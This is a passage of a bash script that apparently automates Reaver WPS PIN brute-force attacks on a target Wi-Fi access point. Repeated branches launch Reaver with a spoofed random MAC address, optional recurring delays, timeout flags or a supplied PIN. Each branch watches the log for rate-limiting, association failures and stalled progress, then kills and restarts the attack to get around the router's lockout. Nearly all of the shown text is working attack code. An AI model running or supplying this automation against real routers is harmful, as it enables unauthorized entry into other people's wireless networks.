echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -vv -x 60 -r $RX24:$RY24 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R24 == n || $USE_R24 == N ]] && [[ $USE_LONG24 == y || $USE_LONG24 == Y ]] && [[ $USE_PIN24 == n || $USE_PIN24 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R24 == y || $USE_R24 == Y ]] && [[ $USE_LONG24 == y || $USE_LONG24 == Y ]] && [[ $USE_PIN24 == n || $USE_PIN24 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX24" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY24"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -r $RX24:$RY24 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R24 == n || $USE_R24 == N ]] && [[ $USE_LONG24 == n || $USE_LONG24 == N ]] && [[ $USE_PIN24 == y || $USE_PIN24 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -vv -x 60  --pin=$WPS_PIN24 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R24 == y || $USE_R24 == Y ]] && [[ $USE_LONG24 == n || $USE_LONG24 == N ]] && [[ $USE_PIN24 == y || $USE_PIN24 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME24"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL24"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP24"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX24" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY24"
echo -e "$info Reaver live time                   = $yel$LIVE24 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME24-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL24 -b $TARGETAP24 -vv -x 60 -r $RX24:$RY24 --pin=$WPS_PIN24 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME24-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE24-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME24-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME24-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME24-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP24 (ESSID: $NMEWARN24)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME24-$DATEFILE-$PAD

                   fi

